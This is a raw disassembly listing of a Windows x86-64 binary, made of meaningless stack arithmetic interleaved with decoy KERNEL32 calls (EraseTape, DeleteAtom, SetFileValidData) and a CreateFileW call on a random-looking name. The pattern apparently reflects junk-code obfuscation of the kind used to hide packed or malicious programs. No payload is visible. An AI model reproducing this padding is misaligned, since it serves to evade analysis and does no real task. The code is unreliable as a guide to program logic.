mov eax, dword [rsp + 0xa594]
mov ecx, dword [rsp + 0x96e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xdfc4], eax
mov rax, qword [rsp + 0x1a518]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad6dc]
shl eax, cl
mov dword [rsp + 0x9c40], eax
movzx eax, byte [rsp + 0x8cb]
mov byte [rsp + 0x908], al
lea rcx, [rsp + 0x2b090]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0x3680]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2608], ax
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov dword [0x1402bf2a4], eax
mov rcx, qword [rsp + 0x1ab08]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x9778]
mov ecx, dword [rsp + 0xe04c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6b8], eax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xaec4]
mov ecx, dword [rsp + 0xd8b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xde40], eax
mov eax, dword [rsp + 0xdcb0]
mov ecx, dword [0x1402ad738]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5cc], eax
mov rax, qword [rsp + 0x1af48]
movzx eax, byte [rax]
mov byte [rsp + 0x909], al
movzx eax, word [rsp + 0x3be4]
movzx ecx, word [0x1402ad790]
sub eax, ecx
mov word [rsp + 0x35c0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov eax, dword [rsp + 0xde10]
mov dword [rsp + 0xe218], eax
mov eax, dword [rsp + 0xe10c]
mov ecx, dword [rsp + 0xd784]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2b4], eax
lea rcx, [rsp + 0x1b270]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x1a9d0]
mov ecx, dword [0x1402bf418]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd94c], eax
mov rax, qword [rsp + 0x1a718]
mov rcx, qword [rsp + 0x1b238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf5b4], eax
lea rax, [rsp + 0xd7e0]
mov qword [rsp + 0x1b278], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf3c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x37b], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd9a4], eax
movsx eax, word [rsp + 0x375c]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bf8], ax
movzx eax, byte [rsp + 0x87f]
movzx ecx, byte [rsp + 0x8a5]
or eax, ecx
mov rcx, qword [rsp + 0x19d00]
mov byte [rcx], al
movzx eax, word [rsp + 0x3b98]
mov rcx, qword [rsp + 0x1a820]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3a20], ax
mov eax, dword [rsp + 0xa264]
mov dword [rsp + 0xe21c], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd440]
shl eax, cl
mov dword [rsp + 0xd300], eax
movzx eax, word [rsp + 0x2204]
mov word [rsp + 0x3ce4], ax
movzx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x1ae50]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1402accaf], al
mov eax, dword [0x1402bf6dc]
mov ecx, dword [rsp + 0xd470]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd140], eax
mov rax, qword [rsp + 0x1ad68]
mov ecx, dword [rsp + 0xae14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa500], eax
mov eax, dword [rsp + 0xd58c]
mov ecx, dword [rsp + 0xd418]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2a0], eax
mov rax, qword [0x1402bf5d0]
mov ecx, dword [rsp + 0xd414]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd2dc], eax
movzx eax, byte [rsp + 0x7d7]
mov byte [rsp + 0x90a], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a5c]
sub eax, ecx
mov word [rsp + 0x3964], ax
mov eax, dword [0x1402bf508]
mov dword [rsp + 0xe220], eax
mov rax, qword [rsp + 0x1b090]
mov ecx, dword [rsp + 0x9890]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd95c], eax
movsx eax, word [rsp + 0x1d8c]
mov rcx, qword [rsp + 0x1ab50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad92c], ax
movsx eax, byte [rsp + 0x7c5]
mov rcx, qword [rsp + 0x1ac20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b1], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, byte [rsp + 0x855]
mov byte [rsp + 0x90b], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3654]
add eax, ecx
mov word [rsp + 0x2a8c], ax
mov eax, dword [rsp + 0xd97c]
mov ecx, dword [rsp + 0xa79c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc648], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x1ad50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd118], eax
mov eax, dword [rsp + 0xcac8]
mov rcx, qword [0x1402bf718]
mov qword [rsp + 0x1b280], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b280]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xb250], eax
mov eax, dword [rsp + 0xced0]
mov dword [rsp + 0xe224], eax
mov eax, dword [rsp + 0xcde0]
mov ecx, dword [rsp + 0xce30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd40c], eax
mov rax, qword [rsp + 0x1a5d8]
movzx eax, word [rax]
mov word [rsp + 0x3ce8], ax
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x1a6a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402accb6], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa430]
movzx ecx, al
mov eax, dword [rsp + 0xd8b8]
shl eax, cl
mov rcx, qword [rsp + 0x1a3a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ad78]
mov rcx, qword [rsp + 0x1b248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x912c], eax
mov eax, dword [rsp + 0xcedc]
mov ecx, dword [rsp + 0xe0f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e4], eax
mov rax, qword [0x1402bf5d0]
mov rcx, qword [rsp + 0x1a9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd330], eax
movzx eax, word [rsp + 0x2c18]
mov word [rsp + 0x3cec], ax
mov rax, qword [rsp + 0x1b140]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a8], al
mov rcx, qword [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x7ac]
mov byte [rsp + 0x90c], al
mov rax, qword [rsp + 0x1a7e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1afc0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1ab50]
mov word [rcx], ax
mov eax, dword [rsp + 0x8e0c]
mov ecx, dword [rsp + 0xd5e4]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad6e0], eax
mov rax, qword [rsp + 0x1a9b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9828]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce48], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a660]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x322], al
mov rax, qword [rsp + 0x1aed8]
movzx eax, word [rax]
mov rcx, qword [0x1402bf408]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3c20], ax
lea rax, [rsp + 0xd9f4]
mov qword [rsp + 0x1b288], rax
mov eax, dword [rsp + 0xda4c]
mov ecx, dword [rsp + 0x892c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc58], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [rsp + 0xce14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd628], eax
mov eax, dword [rsp + 0x928c]
mov dword [rsp + 0xe228], eax
movzx eax, byte [rsp + 0x26b]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x88b], al
movzx eax, word [0x1402bf324]
mov word [0x1402bf2a2], ax
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov dword [rsp + 0xe22c], eax
mov eax, dword [rsp + 0xced0]
movzx ecx, al
mov eax, dword [rsp + 0xda8c]
sar eax, cl
mov dword [rsp + 0xd660], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd304], eax
mov rax, qword [rsp + 0x1a738]
mov rcx, qword [rsp + 0x1b168]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xe0e4], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf44], eax
mov rax, qword [rsp + 0x1a808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8578]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x942c], eax
mov rax, qword [rsp + 0x1ab78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1b0b8]
mov qword [rsp + 0x1b290], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b290]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xdf54], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x97d9
mov rcx, qword [rsp + 0x1a648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe230], eax
mov rax, qword [0x1402bf728]
movzx eax, word [rax]
mov word [rsp + 0x3cf0], ax
movsx eax, byte [rsp + 0x790]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x840], al
movzx eax, word [rsp + 0x2964]
mov word [rsp + 0x3cf4], ax
movzx ecx, word [rsp + 0x3a10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x399c], ax
mov rax, qword [0x1402bf518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acc83], al
mov rax, qword [rsp + 0x1aa38]
mov rcx, qword [rsp + 0x1a720]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0bc], eax
lea rdx, [rsp + 0x1b298]
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcf18], eax
mov rax, qword [rsp + 0x1a368]
mov ecx, dword [rsp + 0xcb30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8c70], eax
movzx eax, word [rsp + 0x2aa4]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27a4], ax
lea rcx, [rsp + 0x2afc8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x397c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x39c4], ax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8d3]
sub eax, ecx
mov byte [rsp + 0x7c0], al
mov rax, qword [0x1402bf3b0]
mov eax, dword [rax]
mov dword [rsp + 0xe234], eax
mov rax, qword [rsp + 0x1a9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd24c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd278], eax
mov edx, 0x76d726
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xe238], eax
mov rax, qword [rsp + 0x19e90]
mov ecx, dword [rsp + 0xe1b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdb3c], eax
mov rax, qword [0x1402bf2c0]
mov eax, dword [rax]
mov dword [rsp + 0xe23c], eax
movzx eax, word [rsp + 0x238c]
movzx ecx, word [rsp + 0x2874]
add eax, ecx
mov word [0x1402ad704], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xce70], eax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [0x1402acbf3]
sar eax, cl
mov rcx, qword [rsp + 0x1ae50]
mov byte [rcx], al
mov rax, qword [rsp + 0x1ab60]
mov eax, dword [rax]
mov dword [rsp + 0xe240], eax
lea rdx, [rsp + 0xe244]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd910], eax
mov eax, dword [rsp + 0xde90]
mov rcx, qword [rsp + 0x1a328]
mov qword [rsp + 0x1b2a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b2a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xdce8], eax
mov rax, qword [rsp + 0x1a7e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35a4]
or eax, ecx
mov word [rsp + 0x3a0c], ax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1afa8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x575], al
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xdc78], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcd9c], eax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a868]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8c1], al
lea rax, [0x1402ad660]
mov qword [rsp + 0x1b2a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x1aee0]
mov rcx, qword [rsp + 0x1a168]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd070], eax
mov rax, qword [rsp + 0x1af30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd984]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad9a8], eax
mov rax, qword [0x1402bf5f0]
mov ecx, dword [rsp + 0x8578]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfec], eax
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
mov dword [rsp + 0xe248], eax
mov rax, qword [rsp + 0x1a140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5c0], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x90d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x1ad70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b1c]
and eax, ecx
mov rcx, qword [rsp + 0x1a618]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.3ziWFAjnL16gtCJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b2b0], rax
mov rax, qword [rsp + 0x19c98]
mov rcx, qword [rsp + 0x19b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc37c], eax
mov eax, dword [rsp + 0xd5e0]
mov ecx, dword [rsp + 0x8674]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe1f8], eax
mov eax, dword [rsp + 0xe23c]
mov ecx, dword [rsp + 0xdfb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf2c], eax
mov rax, qword [rsp + 0x1b0e0]
mov eax, dword [rax]
mov ecx, dword [0x1402bf300]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad9ac], eax
mov rax, qword [rsp + 0x1a9a0]
movzx eax, word [rax]
mov word [rsp + 0x3cf8], ax
movzx eax, byte [rsp + 0x8de]
movzx ecx, byte [rsp + 0x38b]
cdq
idiv ecx
mov byte [rsp + 0x7bc], al
lea rax, [rsp + 0x3a54]
mov qword [rsp + 0x1b2b8], rax
movsx eax, byte [rsp + 0x37b]
mov rcx, qword [rsp + 0x1a6e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1a078]
mov byte [rcx], al
mov eax, dword [rsp + 0xcf14]
movzx ecx, al
mov eax, dword [rsp + 0xded8]
shr eax, cl
mov dword [rsp + 0x9b50], eax
mov eax, dword [0x1402bf568]
mov dword [rsp + 0xe24c], eax
mov rax, qword [rsp + 0x1ab48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c0]
or eax, ecx
mov word [rsp + 0x37f0], ax
movzx eax, byte [rsp + 0x96]
movzx ecx, byte [0x1402bf680]
shl eax, cl
mov byte [rsp + 0x17e], al
mov rax, qword [rsp + 0x1a410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdae4]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad99c], eax
mov rax, qword [rsp + 0x1b0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd95c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd028], eax
mov eax, dword [rsp + 0xd494]
mov ecx, dword [0x1402ad950]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a718]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ae20]
mov eax, dword [rax]
mov dword [rsp + 0xe250], eax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a980]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7ca], al
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov word [rsp + 0x3cfc], ax
mov eax, dword [rsp + 0xd394]
mov ecx, dword [rsp + 0xe228]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd78], eax
mov rax, qword [rsp + 0x1b168]
mov rcx, qword [rsp + 0x1b248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb4e8], eax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x1add0]
mov rcx, qword [rsp + 0x1a718]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6c8], eax
mov rax, qword [rsp + 0x1ab40]
mov ecx, dword [rsp + 0xd010]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a630]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x1ad40]
mov rdx, qword [rsp + 0x1a1e0]
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd644], eax
mov rcx, qword [rsp + 0x1a278]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe254], eax
mov rax, qword [rsp + 0x1ac20]
movzx eax, byte [rax]
mov byte [rsp + 0x90e], al
movsx eax, word [rsp + 0x3cf0]
mov rcx, qword [rsp + 0x1acd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1b2b8]
mov word [rcx], ax
lea rax, [rsp + 0x7e8]
mov qword [rsp + 0x1b2c0], rax
mov rax, qword [rsp + 0x1aa20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d7c]
xor eax, ecx
mov word [rsp + 0x3934], ax
mov eax, dword [rsp + 0xd46c]
mov rcx, qword [rsp + 0x1ab70]
mov qword [rsp + 0x1b2c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b2c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xe148], eax
mov rax, qword [0x1402bf378]
mov eax, dword [rax]
mov dword [rsp + 0xe258], eax
mov rax, qword [rsp + 0x1aa20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3be8]
cdq
idiv ecx
mov word [rsp + 0x25e0], ax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov byte [0x1402bf2a0], al
mov rax, qword [rsp + 0x1ae10]
mov eax, dword [rax]
mov dword [rsp + 0xe25c], eax
mov rax, qword [rsp + 0x1aa30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402bf4d4]
sar eax, cl
mov dword [rsp + 0xcf30], eax
mov rax, qword [rsp + 0x1a1e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x83c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xce58], eax
mov rax, qword [0x1402bf6c0]
mov ecx, dword [rsp + 0xdf60]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa060], eax
movzx eax, word [rsp + 0x2ab4]
imul eax, eax, 0x187
mov word [rsp + 0x3ad4], ax
mov rax, qword [rsp + 0x1afe0]
movzx eax, byte [rax]
mov byte [rsp + 0x90f], al
mov rax, qword [rsp + 0x19a70]
mov rcx, qword [rsp + 0x19a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd11c], eax
mov eax, dword [rsp + 0xd5f8]
mov ecx, dword [rsp + 0xdce4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1af18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a870]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf4a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402accb7], al
lea rax, [rsp + 0x375c]
mov qword [rsp + 0x1b2d0], rax
mov rax, qword [rsp + 0x1b100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d64], ax
movzx eax, byte [rsp + 0x4c2]
mov byte [rsp + 0x910], al
mov rax, qword [rsp + 0x1a150]
mov rcx, qword [rsp + 0x1a690]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9558], eax
mov rax, qword [rsp + 0x19e50]
mov ecx, dword [rsp + 0xd964]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc12c], eax
mov rax, qword [rsp + 0x1b288]
mov eax, dword [rax]
mov ecx, dword [0x1402bf350]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1c4], eax
mov rax, qword [rsp + 0x1a6f8]
mov rcx, qword [rsp + 0x1a990]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xddf4], eax
lea rax, [rsp + 0xba74]
mov qword [rsp + 0x1b2d8], rax
movzx eax, word [0x1402ad798]
movzx ecx, word [rsp + 0x3a50]
sar eax, cl
mov word [rsp + 0x3bcc], ax
movzx eax, byte [rsp + 0x8ab]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402bf338], al
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov dword [rsp + 0xe260], eax
mov eax, dword [rsp + 0xcfc0]
movzx ecx, al
mov eax, dword [rsp + 0xd358]
shl eax, cl
mov dword [rsp + 0xcf64], eax
mov rax, qword [rsp + 0x1b168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb7e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xe0f8], eax
mov eax, dword [rsp + 0xd328]
mov dword [rsp + 0xe264], eax
mov rax, qword [0x1402bf500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80a]
sub eax, ecx
mov byte [rsp + 0x8aa], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1ab28], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd7ec], eax
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a8f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2358], ax
movsx eax, byte [rsp + 0x62d]
movsx ecx, byte [rsp + 0x7b0]
sub eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x38e4]
add eax, ecx
mov word [rsp + 0x3690], ax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae44]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf478], eax
mov eax, dword [rsp + 0xda24]
mov dword [rsp + 0xe268], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e2]
add eax, ecx
mov byte [rsp + 0x892], al
mov rax, qword [rsp + 0x1aa48]
movzx eax, word [rax]
mov word [rsp + 0x3d00], ax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov ecx, dword [0x1402ad668]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x838c], eax
lea rax, [rsp + 0x9490]
mov qword [rsp + 0x1b2e0], rax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdfe8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a2f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xce3c]
mov ecx, dword [0x1402ad824]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb60], eax
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a900]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x28c0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf500]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402accbe], al
mov rax, qword [rsp + 0x1ae30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a420]
mov qword [rsp + 0x1b2e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b2e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xdfd0], eax
mov rax, qword [rsp + 0x1b0b8]
mov eax, dword [rax]
mov dword [rsp + 0xe26c], eax
mov rax, qword [0x1402bf390]
mov ecx, dword [rsp + 0x8b14]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd6bc], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcfc4]
shl eax, cl
mov dword [rsp + 0xb1c8], eax
mov eax, dword [rsp + 0xe074]
mov dword [rsp + 0xe270], eax
movsx eax, word [0x1402ad7e0]
mov rcx, qword [rsp + 0x1afc0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3b4c], ax
movsx eax, byte [rsp + 0x575]
movsx ecx, byte [rsp + 0x89e]
add eax, ecx
mov byte [rsp + 0x5cb], al
movzx eax, byte [rsp + 0x79b]
mov rcx, qword [rsp + 0x1a170]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x1a8f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad90c], ax
mov rax, qword [rsp + 0x1b0f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbe44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdaec], eax
mov rax, qword [0x1402bf3f8]
mov eax, dword [rax]
mov dword [rsp + 0xe274], eax
mov rax, qword [rsp + 0x1aa48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x398c]
add eax, ecx
mov word [rsp + 0x3b00], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcce0], eax
movzx eax, byte [rsp + 0x82a]
mov byte [rsp + 0x911], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xe278], eax
mov rax, qword [rsp + 0x1a740]
mov eax, dword [rax]
mov ecx, dword [0x1402bf520]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ba0]
